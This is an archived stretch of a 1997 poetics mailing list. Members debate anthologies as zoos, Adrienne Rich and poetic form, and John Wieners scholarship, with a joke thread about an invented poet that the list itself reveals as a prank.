I've been thinking about this. One strong defence of Zoos is educational/ We have just had a simulated underground antarctic open up in this city. Auckland. With live penguins. Many people are upset by the idea of sticking pengies underground although there has been no formal protests. I am uncomfortable with it, but feel there is a necessary trade off. If all the people who go to it went to antarctica the resulting polution would be horrific. And polution is a very real problem down there already. As one of the last still relatively untouched environments on earth i believe very strongly we should attempt to preserve it. Keep out all proposed development, pillage, military shit etc... Having access to the simulated environment and seeing these penguins - as the real penguins are undeniably the ATTRACTION - brings to many casual tourism punters the reality of a place most of the world does not even think about. & particularly the generation of school children who are being introduced to the antarctic as the habitat of these curious & attractive creatures rather than the great conqueable

whiteness that ed hillary scott shakleton et al so valiantly tried to CONQUER. Anyway my hope is some good will come of it, given all the obvious problems many of have with captivity. The same argument applies generally to the new generation of zoos as the current trend for recreating environments etc increases the animals health, welfare & comfort.

& anyway there's a bad poetry metaphor here somewhere.

Dan

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401. **Franklin Bruno**
flirt?
Sat 15 Mar 1997

Sorry for a not-very-poetic query, but does anyone out there remember what city the second section of Hal Hartley's -Flirt- was set in. The other two were New York and Tokyo. I want to say Berlin, but I'm not sure. Backchannel me to avoid clutter. Thanks.

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402. **amato**
Re: Litsci
Sat 15 Mar 1997

---

fiona and interested others:

to sub to litsci-l, post

[redacted]

with the following message (nothing in subject line):

subscribe litsci-l

(no need to type in your name, and please note the newer form, listSTAR not listSERV.)

you will (should!) receive a blurb back from liststar confirming your subscription etc.

it's been a tres quiet list for most of its history, but it recently erupted (finally!) thanx to a rather controversial keynote at the society for literature and science (sls) annual meeting in atlanta last fall (the list is public, though it serves as the official list for sls)... but this more recent eruption seems to have subsided, at least for the moment... so i don't know what'll happen next---it's nothing like poetics, it's generally not in daily flux...

a couple by hayles:

n. katherine hayles, _the cosmic web: scientific field models and literary strategies in the twentieth century_ (ithaca: cornell up, 1984); _chaos bound: orderly disorder in contemporary literature and science_ (ithaca: cornell up, 1990).

i think she's edited a collection of essays since (can't recall the title at the moment) and she has another book forthcoming this year (again, my mind is failing me as to title/subject)...

best,

joe

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403. **Hugh Nicoll**
Re: Katherine Hayles
Sun 16 Mar 1997

Greetings all,

Katherine Hayles' edited _Chaos and Order, Complex Dynamics in Literature and Science_, which was published by the University of Chicago Press in 1991.

Hugh (mostly lurking) but loving the on-going chaos/grit of this list.

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404. **Chris Stroffolino**
DIVING Into The (Human) Zoo...
Sun 16 Mar 1997

I'd like to address a couple of points re "Rich" (notice how we've gone from Dove to Rich, as if this is the REAL issue "Dove" disguised). Marjorie's point (which is very similar to a point Perelman makes in THE MARGINALIZATION--and by the way, I will once again plug next saturday's event at the SEGUE space ostensibly on Perelman's book, for, as I foresee it, the discussion will not be limited to the book hopefully but to such issues as these, and beyond ((like MUSIC, etc....))I digress)--anyway, Marjorie's objections (echoed by Mike Magee) seem to be twofold here. First, she critiques the poem because "It's so willed". In this, I would agree with Jordan Davis that it very well may be a form of "mysticism to say that form forces its message" in a way more "indeterminate" poetics do not. Or, again, I'd point to the seeming parodox of "you HAVE TO let (as opposed to will) in poetry" assuming that description as a way of becoming injunction, and that the "will" vs. "letting" dualism may be as troublesome as the "mind" vs. "body" dualism (and, no, I am not denying that we may need such dualisms at least strategically, and at least in order to seem to be

able to communicate, or even "think"--but of course then there often comes the point where these dualisms go meta and what's "at stake" is the "dualism" between "monism" and "dualism" etc.). In any rate, I do not think that the form of Rich's poem NECESSARILY undercuts its message and I guess this leads me (though not seamlessly) to my second point. The issue of what I will call "metaphysical conceits" in poetry. Mike Magee (and Perelman in the MARGINALIZATION) contrasts Carla Harryman favorably to Rich because the former is more formally fluid while the latter is not. Specifically, Magee mentions "THERE NEVER WAS A ROSE...." Now, I have been more interested and engaged in studying Harryman's work than in RIch's (I am trying to avoid the dogmatism of saying that I like it and will always like it better however) and yes I do believe there's a lot of truth in Magee's statement. However, if one wants the more FLUID Harryman it is, I believe in ANIMAL INSTINCTS and especially VICE....although even in vice she's looking for that "adequate vice to LIMIT the liquid of this voice" (i.e, she's trying to come to terms with WILL, and forms or in Dan Salmon's analogy ZOOS?) and in many of the new pieces in "NEVER WAS..ROSE..." Harryman does, far more than anywhere else in her PUBLISHED ouevre (thinking of the GAME "poems" in particular) employ something that, to me, seems very similar to "a metaphysical conceit"--it may be done more SELF-Consciously than Rich does (though there is, I believe, a way to read rich's poem as an allegory of its own form as well), but it is not SO self-conscious that the conceit shatters before it is constructed. This, in my opinion, is largely the strength of these new works of Harryman's. I do believe that metaphysical conceits are hard to sustain, and I do not WISH to make them into a STANDARD by which we judge poetry (by such a standard of course I'd have to shoot myself in the foot and admit that I'm just not a poet, etc.)--but I do think there is a thrill in constructing and sustaining such an illusion and that it needn't destroy one's allegedly postmodern love of "work that rejects easy closure" etc. Now, maybe Marjorie's (and others') rejection (that may not be the right word) of Rich's poem has more to do with its tight STANZAIC FORM than it has to do with the fact that it employs such conceit(s)--Marjorie, I WOULD appreciate clarification on this point, since they are two DIFFERENT criticisms---and if so, we have to deal with other issues than the issue of "conceit", but I'd like to extend this question of "conceit" beyond Harryman and even towards more seemingly PURE "language poetry", which seems to me to be as "cooked" (raw vs. cooked allusion) as Rich, and that therefore the silliness of Rich's FLIPPERS may be seen as part of its charm and even power. I don't think Rich's poem CAN be as written off as easily as say William Stafford's TRAVELLING THROUGH THE YARD, partially because the former is less conservative on a content level, or at least CAN BE (if we really do believe in THE READER), in a way it seems the stafford poem can not....because, to invert Jordan's claim, it's possible the MESSAGE can force the form without being a form of mysticism..... Well, just

some thoughts.... And, thank you Jonathon Levin for the word "adjunctification" and thank you Dan Salmon for the ZOO metaphor ("we're all inmates of the human zoo" or do i mean "the prisonhouse of language" which might as well be "sestina") and thanks Keith Tuma, Franklin Bruno, and Susan Wheeler, and Chris Alexander and Joseph Lease (and others) for interesting posts in this in the last few days. Chris Stroffolino

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405. **Burt Kimmelman**

Re: Litsci

Sun 16 Mar 1997

I too would love to know how to get on the litsci list.

Thanks anyone who can help with this.

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
Phone: [redacted] Fax: [redacted] Internet: [redacted]
Home phone: [redacted]

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406. **amato**

Re: DIVING Into The (Human) Zoo...

Sun 16 Mar 1997

---

the only thing i would add to chris s's last post, which again i enjoyed, is this: that there are surely poems with teeth that are formally more traditional... i don't mean (though i could mean!) traditional form... it seems to me, as i'll say again and again, that different communities will handle the form/content issues differently (and i've tried to suggest that this happens in different genres---the novel, scifi, etc)...

i mean, there are other poems in _diving into the wreck_ that i find effective ("trying to talk with a man"), but these poems may be viewed as didactic or some such from those who prefer (gross shorthand coming) more nuance... i won't go on here except to say that yes, there are probably more folks in the mainstreams who'll appreciate rich's work than, say, mayer's... and that i'll continue to make the argument --- what i would say amounts to fighting the good fight --- for recognition of aesthetics and formal maneuvers such as mayer's (making that argument, that is to say, in whatever institutions)... but this doesn't stop me from actually "liking," de facto, rich's poetry... in fact what troubles me actually --- just to be a bit personal about it --- is when i'm faced

with somebody whose aesthetic i appreciate, but who doesn't appreciate *mine*!... this is bound to create all sorts of hard feelings... and yes---i've rec'd this treatment in mainstream circles from folks i've met, in some cases from folks i've met who are good writers... but hey -- i've also *on occasion* experienced this sort of rejection in specifically un-mainstream circles...

anyway, i would like to address, briefly, marjorie's question (and i think she's correct to keep pushing this point of selection) about 'reaching out to whom': from a strictly (and perhaps reductively) critical pov, the issue of critics recuperating particular poetic writing can be viewed in terms of appropriation (and i don't mean this in a 'bad' sense only)... when we select what we write 'about' (speaking as a reductively-defined critic now), we generally have mixed motives... we may find the work really challenging aesthetically, or we may just plain love it and want to write about it... we may find that the various appeals it makes to us, or to others, deserve a more public appraisal (this is the 'function of the critic' in more 'public intellectual' terms)... or any mix really----i'm not trying to be exhaustive here... our motives may have to do with any combination of passion, excitement, curiosity, justice, _____...

so ok: why reach out as a critic to, say, the work of high school students?... i can think of LOTS of reasons -- though if you'll permit me just a bit of nasty sarcasm here, i already have plenty of so-so poems to read from my student-writers! (i say this just to keep in mind that teaching poetry is not the same thing necessarily as teaching writers how to write poetry)... for one, reaching out to high school students in such terms defines the status of poetry in those communities---communities that will one day shape the readership for published poets, as well as the poets themselves... i can imagine all sorts of interesting conclusions one might draw, ethnographically speaking... for another thing, writing by high-school students IS writing, deserves some attention on its own account, and speaks to the cultural status of writing in this society... for another still, i've come across some REALLY GOOD writing in my classes, with no condescension implied or intended and with every aesthetic register in place when i say this...

(some of you can help me out here, this ain't my field...

and the really controversial point: why scrutinize the writing of high school students (please don't take me to mean this latter as a monolith either!) as opposed to the work of more, shall we say, polished or professional poets? (eek, there's that p word applied to poetry again!)... well, even if, as a writer, i am NOT so predisposed, i must observe that, as a writer, there IS something to be gained from listening to and examining writing that isn't so caught up with the various conventions of poetry---i mean mainstream, radical, avant-garde, etc... of course, in writing about such writing, critics will nonetheless be making a *selection* from *among these sample of writing* to make whatever points they

wish to make... that is, and not to condescend again, there is an aesthetics to consider here as well---which is that 'reach' to which marjorie alludes, finally, coming in, if not the front, then at least the back door (yes, like nature, as i mentioned to a friend backchannel)... and to whom does such a critic write?---well, same answer as 'before': to other critics, other writers, who are so interested...

personally, i've found maria damon's work on teenage women writing (women who live in the projects) to be quite revitalizing (_the dark end of the street_, a book with which i'm sure many of you are familiar)... in fact i need, as a writer, for folks like maria to keep doing what they do even as i need, as a writer, for folks like marjorie to keep doing what they do... and i do not see why such critical work need be treated in terms of the implicit dichotomy through which i've advanced same, either, except as this helps to clarify things (or does it?)...

best,

joe

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407. Herb Levy
new music mags redux
Sun 16 Mar 1997

I'm deeply disturbed that I neglected to mention Experimental Musical Instruments in my early posting on this off-topic subject.

It's a very good mag, comes out quarterly, even seems to have reasonable newsstand distribution. Always worth looking at, though I don't buy every issue.

Herb Levy
[redacted]

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408. Amittai F. Aviram
Anthologies
Sun 16 Mar 1997

I've been a bad lurker, not having enough time to keep up with the immense volume of learned discourse here, but once in a while I do try ...

Marjorie and others, about anthologies and zoos ...

I've always had a very similar feeling of distaste for anthologies and desire to get students to read _books_. And yet ...

1) I confess that, despite all the obvious problems and flaws, I _vastly_ admire _all_ the Norton anthologies. It's just _great_, especially for poetry _before WWII_--before our time--to be able to _find_ something quickly and have _notes_ to it! Some of the notes are wrong or misleading, but it's nice to have them anyway. And, when it comes to other languages, anthologies can be a real blessing, too--as a way to try to get started, or to find some poem that you know everybody quotes (in French or German or Italian or Latin or Hebrew or Portuguese or whatever).

2) Aren't literary magazines, actually, anthologies? You can see that, here, the boundary is a bit fuzzy, isn't it?

I think Marjorie's last comment really _does_ address point #2 a bit. She'd just as soon have _no_ anthologies, but, if we must have them, let's be up front about our selection criteria. The same could surely be said for magazines. I think we have less of a problem with magazines-- sometimes--because, after a while, you learn the "map" and know what the _implicit_ criteria are for those magazines that don't make them _explicit_ (which is of course the great majority of them and all of the ones with prestige--_Poetry_, _Paris Review_, etc.).

But, insofar as one learns the "map" of magazines, doesn't one do the same with anthologies?

I think Marjorie's initial problem, as I take it, is with what seems to be internal and unspoken conflicts between criteria systems within any given anthology (or magazine, for that matter?)--between the "poetic" or "aesthetic" criteria and the "political" criteria of "inclusion" or "representation."

And I took Marjorie's comment about Mexican-American poets, etc.-- did I mistake you, Marjorie?--as simply meaning that, the more of these poets get published, the more eventually will be available to editors to make decisions _not_ primarily motivated by the desire for "inclusion" but rather some criteria not related to the identity of the author ("aesthetic" criteria). It's a matter of probability, and this is precisely--or was, anyway--the hope of affirmative action to begin with: if we put up with this institutionalized artifice for a while, there will _eventually_ be enough people from various hitherto underrepresented minorities within the pool of applicants (or whatever) so that one can simply make a truly race-blind, sex-blind choice based on truly relevant (job-related, project-related) criteria, because probability would now ensure that representation would occur by default.

In the case of affirmative action, this didn't work because the money wasn't put behind it, in the form of scholarships and fellowships for students (of any ethnic or racial background or sex) who needed the money. And salaries in academics, though nowadays somewhat reasonable if you're lucky to get a tenure track job, do not compete with salaries in business or some of the other

professions, which naturally seem more attractive to those minority groups that have been excluded from wealth for generations.

But the same logic _could_ reasonably apply in the field of choosing poets to include in an anthology, it seems to me. And I think, in general, it _has_ been working--the canon _has_ been changing, and, in many cases, the "new" works entering the canon have been quite _good_.

Amittai

↑ Index

409. William Burmeister Prod
Re: joining conversation
Sun 16 Mar 1997

Yo escribi
>Yeah, sort of like a white being called "gringo" in the Americas by some
> latin american groups (even in the U.S.for that matter).

David writes:
> It's interesting how likeable the term "gringo" is (or seems -- or am I
> wrong?) to the whites who get so dubbed (or maybe it's only when
> self-dubbing, w/ some pleasant irony, that this somehow playful sense of
> the term comes into play?)

I couldn't resist posting that one, but only as a light aside. I am about to marry an Ecuadorian national, and while she doesn't use the term, others in Ecuador have with me. She explains to me that it's ok--not derogatory--to be so dubbed. To me, it could have been a dubbing or a drubbing depending on how I felt at the time. I explained to her (as a private joke) that we North Americans (thanks George for the clarification) have a bad time with that term because of its ignoble use in the Hollywood (and sphagetti) westerns (which also provided a stereotype of the Mexican man I think).

All of that aside, isn't this thread, in its most general terms, just another instance of Blanchot's principle of alienation?

Bill B.

↑ Index

410. Henry Gould
Blarnes oeuvre
Sun 16 Mar 1997

Has anyone read the poetry (early, especially) of Eric Blarnes? Controversial to say the least - he was born in Belize in 1907, grew up in BENARES (believe it or

not) (family old-time colonial Brit) - became Hindu in 1929 - wrote under pseudonym of Pravat Singh. Poetry, for the most part, also Pessoa-like take-offs on Eliot-like criticism of 30s anglo-Indian poets (unknown outside India). Here's a sample:

ELEPHANT SHADOW

Trumpet of the marvelous.
Bellicose traveler, you trample across
deep-chested dreams.

This is from 1923. Blarnes was all of sixteen - completely isolated, living in a convent school for Catholic daughters of (Portuguese, for the most part) merchant families (he worked as a part-time tutor there for 2 years - the Siringarh Convent School of Benares).

I'd be curious if others have come upon this obscure work - Henry Gould p.s. any S. Ray fans out there?

↑ Index

411. **Steven Marks**

Re: Blarnes oeuvre

Sun 16 Mar 1997

This wouldn't be some of your early St. Paddy's day blarney, now would it?

Shlantih,
Steven

On Sun, 16 Mar 1997, Henry Gould wrote:

> *Has anyone read the poetry (early, especially) of Eric Blarnes? Controversial to say the least - he was born in Belize in 1907, grew up in BENARES (believe it or not) (family old-time colonial Brit) - became Hindu in 1929 - wrote under pseudonym of Pravat Singh. Poetry, for the most part, also Pessoa-like take-offs on Eliot-like criticism of 30s anglo-Indian poets (unknown outside India). Here's a sample:*
>
> *ELEPHANT SHADOW*
>
> *Trumpet of the marvelous.*
> *Bellicose traveler, you trample across*
> *deep-chested dreams.*
>
> *This is from 1923. Blarnes was all of sixteen - completely isolated, living in a convent school for Catholic daughters of (Portuguese, for the most part) merchant families (he worked as a part-time tutor there for 2 years - the Siringarh Convent School of Benares).*

> *I'd be curious if others have come upon this obscure work - Henry Gould*
> *p.s. any S. Ray fans out there?*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

412. Louis Cabri
wieners + (alan) davies
Sun 16 Mar 1997

The line is the individual of the social.
The phrase is her habit.
Words? There isn't that kind of hope.
- "Capitalism and Form"
Alan Davies, _Candor_, 1990

JOHN WIENERS reads and launches the publication of his journals (just out from Sun & Moon) in Philadelphia April 11th. Alan Davies, Bob Perelman, Joshua Schuster, others including myself will each speak some words of introduction. ALAN DAVIES reads the following day, Saturday, at noon. Thanks to Laura Moriarty we are broadcasting Robert Duncan's 1975 interview with Wieners during the week prior to the reading. This is at Writers House, University of Pennsylvania. All are invited!

Not to horse a dead beat, but with this event in mind, and having just read recent listserv posts (worst of the worst for months I've been a lapsed lurker) I looked up "John Wieners" in Hoover's Norton. And there he is. Now I could well be mistaken, and/or naive to think otherwise, but little criticism seems to be written on Wieners' work - he is, like many in the Hoover, Nortonized (erstwhile sign of "tradition") sans the legitimacy of a "citational matrix" (its absence the erstwhile sign of "innovation"). - The sign of modernist time is out of joint. Hoover's three paragraphs of introduction to the Wieners selection stands him in the company of the best (only) readers of Wieners' ouevre.

If listmembers know of writing on John Wieners that is unavailable through usual library channels, I would appreciate your posting news of it here (or to me backchannel). Of listmembers, Douglas Messerli wrote a review - I believe so, although I haven't found a copy of it yet - of Behind the State Capitol or Cincinnati Pike in 1976. Bruce Andrews' review came out in 1978.... I might be overlooking chapters of or references/footnotes to JW in books by listmembers

(please forgive this haste) and by others, books that may be well-known - but what I have in mind in addition would be smallpress materials like Charles Shively's review of Behind the State publ the year it came out, 1975 (in Gay Sunshine no. 25; I've yet to get hold of a copy of it).

Which leads me perhaps too unceremoniously and inevitably to ask: what role/influence has Wieners' work had on your own work?

This event that we're doing can't come near to what could be done to properly address Wieners' (life and the context of his) writing. Nevertheless, responses to this listserv query could conceivably be read at the event, or possibly (speaking for myself) cited and incorporated into the presentations for the event, with your permission. At the very least a list of reviews and such, if any, from hard-to-find periodicals might be compiled here for later use. I'd welcome news/opinions/memories of any kind and from anyone.

Thanks in advance,
Louis Cabri

Organizers of this event also include Kristen Gallagher and Shawn Walker

↑ Index

413. KENT JOHNSON
Re: wieners + (alan) davies
Sun 16 Mar 1997

You probably know about this, but there is a recording of Wieners from circa late 60's (?) doing a powerful reading The Hotel Wently Poems and other things. I listened to this at the Univ. of Wisconsin/Milwaukee library years ago and remember being quite moved by it. Or is this a rare tape?

Kent

> *Date sent: Sun, 16 Mar 1997 22:14:49 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Louis Cabri <[redacted]>*
> *Subject: wieners + (alan) davies*
> *To: [redacted]*
>
> *The line is the individual of the social.*
> *The phrase is her habit.*
> *Words? There isn't that kind of hope.*
> *- "Capitalism and Form"*
> *Alan Davies, _Candor_, 1990*
>
> *JOHN WIENERS reads and launches the publication of his journals (just out from Sun & Moon) in Philadelphia April 11th. Alan Davies, Bob Perelman, Joshua Schuster, others including myself*

will each speak some words of introduction. ALAN DAVIES reads the following day, Saturday, at noon. Thanks to Laura Moriarty we are broadcasting Robert Duncan's 1975 interview with Wieners during the week prior to the reading. This is at Writers House, University of Pennsylvania. All are invited!

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If listmembers know of writing on John Wieners that is unavailable through usual library channels, I would appreciate your posting news of it here (or to me backchannel). Of listmembers, Douglas Messerli wrote a review - I believe so, although I haven't found a copy of it yet - of Behind the State Capitol or Cincinnati Pike in 1976. Bruce Andrews' review came out in 1978.... I might be overlooking chapters of or references/footnotes to JW in books by listmembers (please forgive this haste) and by others, books that may be well-known - but what I have in mind in addition would be smallpress materials like Charles Shively's review of Behind the State publ the year it came out, 1975 (in Gay Sunshine no. 25; I've yet to get hold of a copy of it).

Which leads me perhaps too unceremoniously and inevitably to ask: what role/influence has Wieners' work had on your own work?

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Thanks in advance,
Louis Cabri

Organizers of this event also include Kristen Gallagher and Shawn

> *Walker*

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414. **David R. Israel**
Re: DIVING Into ... / "mysticism"
Sun 16 Mar 1997

Have been reading the dialogue re: Rich & form & suchlike things a bit patchily, tho w/ interest --

Chris Stroffolino's strand in this thread cites the recent (worthy) observation of
> . . . . Jordan Davis that it very well may be a form of
> "mysticism to say that form forces its message" in a way more
> "indeterminate" poetics do not . . .

an observation reminiscent -- jumping from form to notions of word-sounds themselves -- to broader mysticisms in poetry (such as that connecting sound & meaning -- a topic I think O. Paz [to name one] did a good riff on in an old, perhaps well-known essay) --

This here will (I daresay) amount to pulling the strand out of the thread (or, the thread out of the rug?) -- but I felt (on re-greeting Jordan D.'s utterance thus afresh today) that it might not be altogether amiss to propose this notion:

there is (can be) no poetry w/o mysticism

Seems axiomatic from where I sit.
Where (how) might others sit w/ it, I wonder?

d.i.

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.David.....Raphael.....Israel...'
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| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\///&\\\/\/////////\\\\\\///..'

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415. AARON SHURIN
Re: Wieners
Sun 16 Mar 1997

In one of its earliest issues/incarnations, before it became #4/Period(ical), Mirage devoted an entire invaluable issue to John Weiners. Contributers included Steve Abbott, Bruce Boone, R. Creeley, Alan Davies, Bob Gluck,Fanny Howe, Kevin Killian, me too, among quite a few others.With Wieners poems. 1985. Beautiful work.

Aaron Shurin

↑ Index

416. George Bowering
Re: once more, deeply disturbed
Sun 16 Mar 1997

> *. I go with David Antin's quip that anthologies are to poets like the zoo to animals.*
>
> *I've been thinking about this. One strong defence of Zoos is educational.*

Yes, maybe, but what do the poor creatures learn?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

417. David R. Israel
Re: once more, deeply disturbed
Sun 16 Mar 1997

Goerge Browning inquires --

> *. I go with David Antin's quip that anthologies are to poets like the zoo to animals.*
>
> *I've been thinking about this. One strong defence of Zoos is*

> *educational.*
>
> *Yes, maybe, but what do the poor creatures learn?*

well that's perhaps where the trope breaks down? --

coincidentally, I spent a nice afternoon w/ friends in the DC Zoo today (thus missing, come to think of it, some avant-garde poets reading locally abt. the same hour) -- the bird house is the best.

d.i.

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.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\///..'

↑ Index

418. **DS**
Re: once more, deeply disturbed
Mon 17 Mar 1997

At 08:34 PM 3/16/97 -0800, you wrote:
>>. I go with David Antin's quip that anthologies are to
>>>poets like the zoo to animals.
>>>
>>
>>I've been thinking about this. One strong defence of Zoos is educational.
>
>Yes, maybe, but what do the poor creatures learn?
>
touche...

fencing i think?

↑ Index

419. **Carnography**

BIB Targeted By Congress/three monologues for heterogeneous voices and free beer

Mon 17 Mar 1997

To all:

> *From: ron <[redacted]>*
>
> *alert! FC2/Black Ice Books is under investigation by a congressional committee trying to shut down NEA. more to follow. letters of support can be faxed to [redacted].*

First books targeted:

SM, by Jeffery DeShell, Blood of Mugwump, by Doug Rice, The Mexican Trilogy, by D.N. Stuefloten, and Chick Lit 2, edited by Chris Mazza. It seems my book, Distorture, will probably be the next to be targeted. After that, I'm not certain who's next.

Even if this turns out to be good for individual writers, the fact remains that it's bad news for BIB and for all other literary academic presses. Please write letters of support and do what you can.

Also:

In celebration of two new books:

Distorture

&

Beneath the Empire of the Birds

March 27, 7:00 p.m.

Tower Books

Readings by

Rob Hardin
Darius James
and Carl Watson

383 Lafayette Street
NY, NY 10009
212/[redacted]

There will be posters, wine, beer, an ad in the Voice, a choice pic in The NY Press: The place will be a madhouse.

An aside: All responses to me should be emailed to me personally. After getting continuously flamed for punctuation, and amassing further flames for calling a punctuation flame bad netiquette (which it is: I worked for NetBooks for two years and copyedited the Masquerade guide to the internet--I use such neologisms accurately), I don't really see much point in perpetuating arguments on listserv. Therefore, I won't be reading the list and won't respond to messages on the list.

Still, Black Ice Books/FC2 is more important than the logistics of any personal exchange. Jeffery DeShell is a great writer and future DeShells deserve to be published. Let's all support free speech and forget about our differences.

All the best always,

Rob Hardin

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

↑ Index

420. Rachel Loden

Wieners , + once more, deeply disturbed

Mon 17 Mar 1997

David R. Israel wrote:

> *Goerge Browning inquires --*

Um, Goerge Browning--was he married to Elizabeth Barrett Bowering?

And Louis Cabri wrote:

> *If listmembers know of writing on John Wieners that is unavailable through usual library channels, I would appreciate your posting news of it here (or to me backchannel).*

There's a review of _Ace of Pentacles_ by Kenneth Irby in _Kulchur_ 19, and an interview with Wieners in _Chicago Review_ 26:1.

There's an essay called "To Celebrate this Broken Man: the Poetry of John Wieners" at

http://angel-exhaust.offworld.org/html/issue-11/Wieners.html

and an interview with Raymond Foye and David Trinidad (with a few paragraphs on Wieners) at

http://www.levity.com/hanuman/inter.html

I'd like to know if the issue of _Mirage_ mentioned by Aaron Shurin is still available.

There's so little.

Rachel L.

↑ Index

421. Henry Gould
Blarnes
Mon 17 Mar 1997

Steve Marks, you win the golden shamrock award. Blarnes was in fact a pseudonym for Irish poet Shamful Mac Harnessey - here's one of his more sober lyrics:

WHACK RA-LOO

Well, I've taken a dram of ye miracle effluent
scribbled a line evanescent-fervescent
debouched like a leprechaun riding a pheasant
and if you believe it, well. I'm having to say: you've swallowed an elephant.

happy St. Paddy's - Friedrich Von Schlosschenteufelwissenschaflichtaube

↑ Index

422. Christopher Alexander
Re: BIB Targeted By Congress/three monologues for heterogeneous
Mon 17 Mar 1997

> >alert! FC2/Black Ice Books is under investigation by a congressional
> >committee trying to shut down NEA. more to follow. letters of support can
> >be faxed to [redacted].
can we get some more info on this?
exactly what is going on?!
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

423. Joseph Conte
LITSCI-L
Mon 17 Mar 1997

Burt Kimmelman requested subscribe information for the LITSCI-L, currently involved in cross-examination of its cliental and a discussion of the ethics of cloning. Can one clone a literary form? Or as Handel writes in _The Messiah_: "All We Like Sheep."

Send a mail message to [redacted] with the usual subscribe litsci-l (and nothing else, nothing in the subject line).

Apologies to the Poetics-L if Joe Amato et al have already provided the above information.

Joseph Conte

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424. Mark Prejsnar
Getting more disturbed
Mon 17 Mar 1997

This is partly bouncing off Robert Archambeau's post...But also he was stating something I've seen now so many times, on the list in the last year, and in printed discussions by pretty nonmainstream folks, that I take it to represent a new emerging consensus.

Which doesn't by a long shot mean everyone agrees with it; but there is an unmistakeable swing in this direction, obviously a corrective to earlier intolerance/militance..

The emerging consensus, a sort of Rodney King line ("can't we all just get along?") is phrased in Robert's post by saying he likes both Perelman and Heaney. Similar dunciations of party-lineism can be found with increasing frequency; in Rasula's fabulous Wax Museum book, someone is quoted in a footnote as stating a similar warning on this listserv. (I have the book next to me, but can't find the reference right now.)

I have great sympathy with this; I also feel that the new consensus is rising to dominance without as much discussion as I'd like...That was why I posted about five days ago, pointing out in very simplistic terms the two (now quite old) contemporary nonmainstream paradigms. The one opposed to get-alongism can be articulated, as I pointed out, in a sharply left-political way, as in classic LangPo theory; i.e. Seamus Heaney (or Amy Clampitt, or Philip Levine, or Adrienne Rich) work with form in such a way as to deaden the sensibility of readers, whereas more challenging formal work can empower by demanding that the

reader become an active co-creator of culture, polity, of the world she lives in. I also have great sympathy with this argument, which gets pushed aside without enuff thought if we simply agree to have broad tastes.

And then there's another verison of the intolerant line. This I've oftern heard from friends who were poets or editor/poets. This doesn't drag politics in much, but might be seen as embodying a kind of Blakean "mental fight;" this attitude simply rejects having a lot to do with poetry that is (argueably) too mass-commodified and unchallenging, as being without interest or artistic force in our time. I have sympathy with this impulse as well...

I remain suspended in negative capability. Which in this case may just mean, I possess the negative attribute of being incapable of making up my mind!...But I'm afraid of too easy an agreement to move on to a new consensus, without engaging the harder, more intolerant lines that have had a huge impact, as I see it, on the poetic space many of us now occupy.

Mark Prejsnar
Atlanta

↑ Index

425. **Mark Prejsnar**
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

On Sat, 15 Mar 1997, DS wrote:

> In voicing a support of Robert Archambeau I wonder if the side of the
> debate that writes off 'contemporary' non-language (and i use the term
> loosely - i guess i really mean a tradition from Olson on - judging by this
> debate) poetries is not just a bit mired in early marxism that managed also
> to avoid/ignore the fact that there were other people who didn't always want
> their battles fought by a (and i hate this almost-meaningless word) western elite

This brings up losts of interesting stuff....I see some good points to this critique, but...First off, it simply takes it for granted that form need not be discussed; if the militant post-Olson line has even the slightest legitimacy, then some of the formal quesitons are still real, even if there are folks who feel that they do not belong to a white western (male, straight, affluent) elite, and that it shouldn't talk for them; second, the questions of the form of politics, are sometimes being debated to clarify one's own practice as a poet (or editor, or publisher, or reader!) and not necessarily to impose judgments or practices on Others; third, as a revolutionary socialist, I think it muddies things quite a bit to conflate Olson and various more recent practitioners in a vague way with a somewhat

fuzzy "early marxism." The various political/poetical formulations at issue here are more carefully worked out, in many cases, than to deserve that!

My own practice on the left, as an activist, for 25 years, makes me VERY wary of folks questioning my beliefs, on the grounds that by being militant I'm forcing my values on some (less empowered) other; that is almost always the argument of the right against the left, in my opinion. My answer, which I feel is accurate, is: this is my struggle, I'm fighting it for me, and for others who I'm in solidarity with; ain't tryng to force anything on anyone;....and mutatis mutanda that applies here.

Mark Prejsnar
Atlanta

↑ Index

426. Mark Prejsnar
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

By the by, since Heaney has been figuring in this cluster of threads....A story in the Sunday NYT yesterday announced that he is considered a serious candidate for next president of the Irish Republic. (Not surprisingly, the republic considers political leadership open to anyone born in the north, as he was.) The story also points out that this is a "largely symbolic" post (guess the overall governmental form is parlimentary...) Is that an ironic wink from history's gods, for all of us who think poetry matters politically?

Mark Prejsnar

↑ Index

427. Sylvester Pollet
WCW Review
Mon 17 Mar 1997

Donna Hollenberg asked me to pass this call along to the Poetics List:

The William Carlos Williams Review is seeking essays for a special issue on H.D. and Williams to be published in Fall 1999. Essays can take any approach and can be on any aspect of the relationship between H.D. and Williams but they must focus on both writers. Possible topics include their relationship to modernism and to the other arts as well as their personal and/or textual relationships. Send papers, preferably 15-20 pages, double-spaced and in MLA style, to guest editors Glen MacLeod and Donna Hollenberg, Department of English, University of Connecticut, Storrs, CT 06269 by March 1, 1998. Enclose

a self-addressed, stamped envelope if you want your paper returned.
****

↑ Index

428. **amato**
Re: A branch off the "Disturbed" thread
Mon 17 Mar 1997

---

mark, you're probably already aware of this, but speaking as a teacher (again!), i've seen the unreconstructed left argument (what teresa ebert calls a "pedagogy of critique" over and against a "pedagogy of pleasure") take precisely the dogmatic turn you yourself wish to avoid... i.e., 'in order for my students to learn from me, they must accept this version of the world'... in its worse manifestation, i mean---a sort of conversion process, with the terms of said conversion already worked out (by the instructor-authority)... and of course, this matches rather precisely the old guard connoisseur-driven pedagogy, predicated on students tacitly ceding that certain authors/texts are worth reading (and sometimes worth reading *this* way, yknow) simply b/c the instructor sez so, goddammit...

